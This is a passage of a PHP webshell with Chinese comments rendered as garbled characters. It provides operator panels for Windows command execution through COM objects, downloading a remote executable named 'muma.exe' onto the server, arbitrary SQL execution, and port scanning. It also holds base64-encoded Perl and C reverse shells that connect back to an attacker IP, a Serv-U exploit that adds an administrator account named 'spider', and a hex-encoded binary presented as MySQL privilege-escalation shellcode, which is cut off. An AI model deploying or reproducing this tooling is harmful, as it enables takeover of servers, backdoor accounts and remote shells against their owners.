  1039. <div class="actall"><textarea name="show" style="width:660px;height:399px;">{$res}</textarea></div></center>
  1040. </form>
  1041. END;
  1042. return true;
  1043. }
  1044.  
  1045. //×éŒþœÓ¿Ú
  1046.  
  1047. function Com_h()
  1048. {
  1049. $object = isset($_GET['o']) ? $_GET['o'] : 'adodb';
  1050. print<<<END
  1051. <div class="actall"><a href="?s=h&o=adodb">[ADODB.Connection]</a>
  1052. <a href="?s=h&o=wscript">[WScript.shell]</a>
  1053. <a href="?s=h&o=application">[Shell.Application]</a>
  1054. <a href="?s=h&o=downloader">[Downloader]</a></div>
  1055. <form method="POST" name="hform" id="hform" action="?s=h&o={$object}">
  1056. END;
  1057. if($object == 'downloader')
  1058. {
  1059. $Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://www.baidu.com/down/muma.exe';
  1060. $Com_dpath= isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(__FILE__).'/muma.exe');
  1061. print<<<END
  1062. <div class="actall">³¬Á¬œÓ <input name="durl" value="{$Com_durl}" type="text" style="width:600px;"></div>
  1063. <div class="actall">ÏÂÔصœ <input name="dpath" value="{$Com_dpath}" type="text" style="width:600px;"></div>
  1064. <div class="actall"><input value="ÏÂÔØ" type="submit" style="width:80px;"></div></form>
  1065. END;
  1066. if((!empty($_POST['durl'])) && (!empty($_POST['dpath'])))
  1067. {
  1068. echo '<div class="actall">';
  1069. $contents = @file_get_contents($_POST['durl']);
  1070. if(!$contents) echo 'ÎÞ·š¶ÁÈ¡ÒªÏÂÔصÄÊýŸÝ';
  1071. else echo File_Write($_POST['dpath'],$contents,'wb') ? 'ÏÂÔØÎÄŒþ³É¹Š' : 'ÏÂÔØÎÄŒþʧ°Ü';
  1072. echo '</div>';
  1073. }
  1074. }
  1075. elseif($object == 'wscript')
  1076. {
  1077. $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir';
  1078. print<<<END
  1079. <div class="actall">ÖŽÐÐCMDÃüÁî <input type="text" name="cmd" value="{$cmd}" style="width:600px;"></div>
  1080. <div class="actall"><input type="submit" value="ÖŽÐÐ" style="width:80px;"></div></form>
  1081. END;
  1082. if(!empty($_POST['cmd']))
  1083. {
  1084. echo '<div class="actall">';
  1085. $shell = new COM('wscript');
  1086. $exe = @$shell->exec("cmd.exe /c ".$cmd);
  1087. $out = $exe->StdOut();
  1088. $output = $out->ReadAll();
  1089. echo '<pre>'.$output.'</pre>';
  1090. @$shell->Release();
  1091. $shell = NULL;
  1092. echo '</div>';
  1093. }
  1094. }
  1095. elseif($object == 'application')
  1096. {
  1097. $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe';
  1098. $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini';
  1099. print<<<END
  1100. <div class="actall">³ÌÐò·Ÿ¶ <input type="text" name="run" value="{$run}" style="width:600px;"></div>
  1101. <div class="actall">ÃüÁî²ÎÊý <input type="text" name="cmd" value="{$cmd}" style="width:600px;"></div>
  1102. <div class="actall"><input type="submit" value="ÖŽÐÐ" style="width:80px;"></div></form>
  1103. END;
  1104. if(!empty($_POST['run']))
  1105. {
  1106. echo '<div class="actall">';
  1107. $shell = new COM('application');
  1108. echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? 'ÖŽÐгɹŠ' : 'ÖŽÐÐʧ°Ü';
  1109. @$shell->Release();
  1110. $shell = NULL;
  1111. echo '</div>';
  1112. }
  1113. }
  1114. elseif($object == 'adodb')
  1115. {
  1116. $string = isset($_POST['string']) ? $_POST['string'] : '';
  1117. $sql = isset($_POST['sql']) ? $_POST['sql'] : '';
  1118. print<<<END
  1119. <script language="javascript">
  1120. function hFull(i){
  1121. if(i==0 || i==5) return false;
  1122. Str = new Array(12);
  1123. Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb";
  1124. Str[2] = "Driver={Sql Server};Server=,1433;Database=DbName;Uid=sa;Pwd=****";
  1125. Str[3] = "Driver={MySql};Server=;Port=3306;Database=DbName;Uid=root;Pwd=****";
  1126. Str[4] = "Provider=MSDAORA.1;Password=ÃÜÂë;User ID=ÕʺÅ;Data Source=·þÎñÃû;Persist Security Info=True;";
  1127. Str[6] = "SELECT * FROM [TableName] WHERE ID<100";
  1128. Str[7] = "INSERT INTO [TableName](USER,PASS) VALUES('spider','mypass')";
  1129. Str[8] = "DELETE FROM [TableName] WHERE ID=100";
  1130. Str[9] = "UPDATE [TableName] SET USER='spider' WHERE ID=100";
  1131. Str[10] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
  1132. Str[11] = "DROP TABLE [TableName]";
  1133. Str[12] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
  1134. Str[13] = "ALTER TABLE [TableName] DROP COLUMN PASS";
  1135. if(i<=4){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];}
  1136. return true;
  1137. }
  1138. </script>
  1139. <div class="actall">Á¬œÓ×Ö·ûŽ® <input type="text" name="string" id="string" value="{$string}" style="width:526px;">
  1140. <select onchange="return hFull(options[selectedIndex].value)">
  1141. <option value="0" selected>--Á¬œÓÊŸÀý--</option>
  1142. <option value="1">AccessÁ¬œÓ</option>
  1143. <option value="2">MsSqlÁ¬œÓ</option>
  1144. <option value="3">MySqlÁ¬œÓ</option>
  1145. <option value="4">OracleÁ¬œÓ</option>
  1146. <option value="5">--SQLÓï·š--</option>
  1147. <option value="6">ÏÔÊŸÊýŸÝ</option>
  1148. <option value="7">ÌíŒÓÊýŸÝ</option>
  1149. <option value="8">ÉŸ³ýÊýŸÝ</option>
  1150. <option value="9">ÐÞžÄÊýŸÝ</option>
  1151. <option value="10">œšÊýŸÝ±í</option>
  1152. <option value="11">ÉŸÊýŸÝ±í</option>
  1153. <option value="12">ÌíŒÓ×Ö¶Î</option>
  1154. <option value="13">ÉŸ³ý×Ö¶Î</option>
  1155. </select></div>
  1156. <div class="actall">SQLÃüÁî <input type="text" name="sql" id="sql" value="{$sql}" style="width:650px;"></div>
  1157. <div class="actall"><input type="submit" value="ÖŽÐÐ" style="width:80px;"></div>
  1158. </form>
  1159. END;
  1160. if(!empty($string))
  1161. {
  1162. echo '<div class="actall">';
  1163. $shell = new COM('adodb');
  1164. @$shell->Open($string);
  1165. $result = @$shell->Execute($sql);
  1166. $count = $result->Fields->Count();
  1167. for($i = 0;$i < $count;$i++){$Field[$i] = $result->Fields($i);}
  1168. echo $result ? $sql.' ÖŽÐгɹŠ<br>' : $sql.' ÖŽÐÐʧ°Ü<br>';
  1169. if(!empty($count)){while(!$result->EOF){for($i = 0;$i < $count;$i++){echo htmlspecialchars($Field[$i]->value).'<br>';}@$result->MoveNext();}}
  1170. $shell->Close();
  1171. @$shell->Release();
  1172. $shell = NULL;
  1173. echo '</div>';
  1174. }
  1175. }
  1176. return true;
  1177. }
  1178.  
  1179. //ÉšÃè¶Ë¿Ú
  1180.  
  1181. function Port_i()
  1182. {
  1183. $Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1';
  1184. $Port_port = isset($_POST['port']) ? $_POST['port'] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958';
  1185. print<<<END
  1186. <form method="POST" name="iform" id="iform" action="?s=i">
  1187. <div class="actall">ÉšÃèIP <input type="text" name="ip" value="{$Port_ip}" style="width:600px;"> </div>
  1188. <div class="actall">¶Ë¿ÚºÅ <input type="text" name="port" value="{$Port_port}" style="width:597px;"></div>
  1189. <div class="actall"><input type="submit" value="ÉšÃè" style="width:80px;"></div>
  1190. </form>
  1191. END;
  1192. if((!empty($_POST['ip'])) && (!empty($_POST['port'])))
  1193. {
  1194. echo '<div class="actall">';
  1195. $ports = explode('|', $_POST['port']);
  1196. for($i = 0;$i < count($ports);$i++)
  1197. {
  1198. $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,2);
  1199. echo $fp ? '<font color="#FF0000">¿ª·Å¶Ë¿Ú ---> '.$ports[$i].'</font><br>' : '¹Ø±Õ¶Ë¿Ú ---> '.$ports[$i].'<br>';
  1200. ob_flush();
  1201. flush();
  1202. }
  1203. echo '</div>';
  1204. }
  1205. return true;
  1206. }
  1207.  
  1208. //LinuxÌáÈš
  1209.  
  1210. function Linux_k()
  1211. {
  1212. $yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR');
  1213. $yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666';
  1214. print<<<END
  1215. <form method="POST" name="kform" id="kform" action="?s=k">
  1216. <div class="actall">ÄãµÄµØÖ· <input type="text" name="yourip" value="{$yourip}" style="width:400px"></div>
  1217. <div class="actall">Á¬œÓ¶Ë¿Ú <input type="text" name="yourport" value="12666" style="width:400px"></div>
  1218. <div class="actall">ÖŽÐзœÊœ <select name="use" >
  1219. <option value="perl">perl</option>
  1220. <option value="c">c</option>
  1221. </select></div>
  1222. <div class="actall"><input type="submit" value="¿ªÊŒÁ¬œÓ" style="width:80px;"></div></form>
  1223. END;
  1224. if((!empty($_POST['yourip'])) && (!empty($_POST['yourport'])))
  1225. {
  1226. echo '<div class="actall">';
  1227. if($_POST['use'] == 'perl')
  1228. {
  1229. $back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  1230. "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  1231. "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  1232. "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  1233. "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  1234. "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  1235. "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1236. echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? 'ŽŽœš/tmp/spider_bc³É¹Š<br>' : 'ŽŽœš/tmp/spider_bcʧ°Ü<br>';
  1237. $perlpath = Exec_Run('which perl');
  1238. $perlpath = $perlpath ? chop($perlpath) : 'perl';
  1239. echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : 'ÖŽÐÐÃüÁîʧ°Ü';
  1240. }
  1241. if($_POST['use'] == 'c')
  1242. {
  1243. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  1244. "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  1245. "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  1246. "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  1247. "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  1248. "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  1249. "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  1250. "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1251. echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? 'ŽŽœš/tmp/spider_bc.c³É¹Š<br>' : 'ŽŽœš/tmp/spider_bc.cʧ°Ü<br>';
  1252. $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  1253. @unlink('/tmp/spider_bc.c');
  1254. echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : 'ÖŽÐÐÃüÁîʧ°Ü';
  1255. }
  1256. echo '<br>Äã¿ÉÒÔ³¢ÊÔÁ¬œÓ¶Ë¿Ú (nc -l -n -v -p '.$_POST['yourport'].') </div>';
  1257. }
  1258. return true;
  1259. }
  1260.  
  1261. //ServUÌáÈš
  1262.  
  1263. function Servu_l()
  1264. {
  1265. $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P';
  1266. print<<<END
  1267. <div class="actall"><a href="?s=l">[ÖŽÐÐÃüÁî]</a> <a href="?s=l&o=adduser">[ÌíŒÓÓû§]</a></div>
  1268. <form method="POST">
  1269. <div class="actall">ServU¶Ë¿Ú <input name="SUPort" type="text" value="43958" style="width:300px"></div>
  1270. <div class="actall">ServUÓû§ <input name="SUUser" type="text" value="LocalAdministrator" style="width:300px"></div>
  1271. <div class="actall">ServUÃÜÂë <input name="SUPass" type="text" value="{$SUPass}" style="width:300px"></div>
  1272. END;
  1273. if($_GET['o'] == 'adduser')
  1274. {
  1275. print<<<END
  1276. <div class="actall">ÕʺŠ<input name="user" type="text" value="spider" style="width:200px">
  1277. ÃÜÂë <input name="password" type="text" value="spider" style="width:200px">
  1278. ĿŒ <input name="part" type="text" value="C:\\\\" style="width:200px"></div>
  1279. END;
  1280. }
  1281. else
  1282. {
  1283. print<<<END
  1284. <div class="actall">ÌáÈšÃüÁî <input name="SUCommand" type="text" value="net user spider spider /add & net localgroup administrators spider /add" style="width:600px"><br>
  1285. <input name="user" type="hidden" value="spider">
  1286. <input name="password" type="hidden" value="spider">
  1287. <input name="part" type="hidden" value="C:\\\\"></div>
  1288. END;
  1289. }
  1290. echo '<div class="actall"><input type="submit" value="ÖŽÐÐ" style="width:80px;"></div></form>';
  1291. if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass'])))
  1292. {
  1293. echo '<div class="actall">';
  1294. $sendbuf = "";
  1295. $recvbuf = "";
  1296. $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n";
  1297. $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n".
  1298. "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n".
  1299. "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n";
  1300. $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n";
  1301. $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10);
  1302. $recvbuf = @fgets($sock, 1024);
  1303. echo "·µ»ØÊýŸÝ°ü: $recvbuf <br>";
  1304. $sendbuf = "USER ".$_POST["SUUser"]."\r\n";
  1305. @fputs($sock, $sendbuf, strlen($sendbuf));
  1306. echo "·¢ËÍÊýŸÝ°ü: $sendbuf <br>";
  1307. $recvbuf = @fgets($sock, 1024);
  1308. echo "·µ»ØÊýŸÝ°ü: $recvbuf <br>";
  1309. $sendbuf = "PASS ".$_POST["SUPass"]."\r\n";
  1310. @fputs($sock, $sendbuf, strlen($sendbuf));
  1311. echo "·¢ËÍÊýŸÝ°ü: $sendbuf <br>";
  1312. $recvbuf = @fgets($sock, 1024);
  1313. echo "·µ»ØÊýŸÝ°ü: $recvbuf <br>";
  1314. $sendbuf = "SITE MAINTENANCE\r\n";
  1315. @fputs($sock, $sendbuf, strlen($sendbuf));
  1316. echo "·¢ËÍÊýŸÝ°ü: $sendbuf <br>";
  1317. $recvbuf = @fgets($sock, 1024);
  1318. echo "·µ»ØÊýŸÝ°ü: $recvbuf <br>";
  1319. $sendbuf = $domain;
  1320. @fputs($sock, $sendbuf, strlen($sendbuf));
  1321. echo "·¢ËÍÊýŸÝ°ü: $sendbuf <br>";
  1322. $recvbuf = @fgets($sock, 1024);
  1323. echo "·µ»ØÊýŸÝ°ü: $recvbuf <br>";
  1324. $sendbuf = $adduser;
  1325. @fputs($sock, $sendbuf, strlen($sendbuf));
  1326. echo "·¢ËÍÊýŸÝ°ü: $sendbuf <br>";
  1327. $recvbuf = @fgets($sock, 1024);
  1328. echo "·µ»ØÊýŸÝ°ü: $recvbuf <br>";
  1329. if(!empty($_POST['SUCommand']))
  1330. {
  1331. $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10);
  1332. $recvbuf = @fgets($exp, 1024);
  1333. echo "·µ»ØÊýŸÝ°ü: $recvbuf <br>";
  1334. $sendbuf = "USER ".$_POST['user']."\r\n";
  1335. @fputs($exp, $sendbuf, strlen($sendbuf));
  1336. echo "·¢ËÍÊýŸÝ°ü: $sendbuf <br>";
  1337. $recvbuf = @fgets($exp, 1024);
  1338. echo "·µ»ØÊýŸÝ°ü: $recvbuf <br>";
  1339. $sendbuf = "PASS ".$_POST['password']."\r\n";
  1340. @fputs($exp, $sendbuf, strlen($sendbuf));
  1341. echo "·¢ËÍÊýŸÝ°ü: $sendbuf <br>";
  1342. $recvbuf = @fgets($exp, 1024);
  1343. echo "·µ»ØÊýŸÝ°ü: $recvbuf <br>";
  1344. $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n";
  1345. @fputs($exp, $sendbuf, strlen($sendbuf));
  1346. echo "·¢ËÍÊýŸÝ°ü: site exec <font color=#006600>".$_POST["SUCommand"]."</font> <br>";
  1347. $recvbuf = @fgets($exp, 1024);
  1348. echo "·µ»ØÊýŸÝ°ü: $recvbuf <br>";
  1349. $sendbuf = $deldomain;
  1350. @fputs($sock, $sendbuf, strlen($sendbuf));
  1351. echo "·¢ËÍÊýŸÝ°ü: $sendbuf <br>";
  1352. $recvbuf = @fgets($sock, 1024);
  1353. echo "·µ»ØÊýŸÝ°ü: $recvbuf <br>";
  1354. @fclose($exp);
  1355. }
  1356. @fclose($sock);
  1357. echo '</div>';
  1358. }
  1359. }
  1360.  
  1361. //MYSQLÌáÈš
  1362.  
  1363. function Mysql_shellcode()
  1364. {
  1365. return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256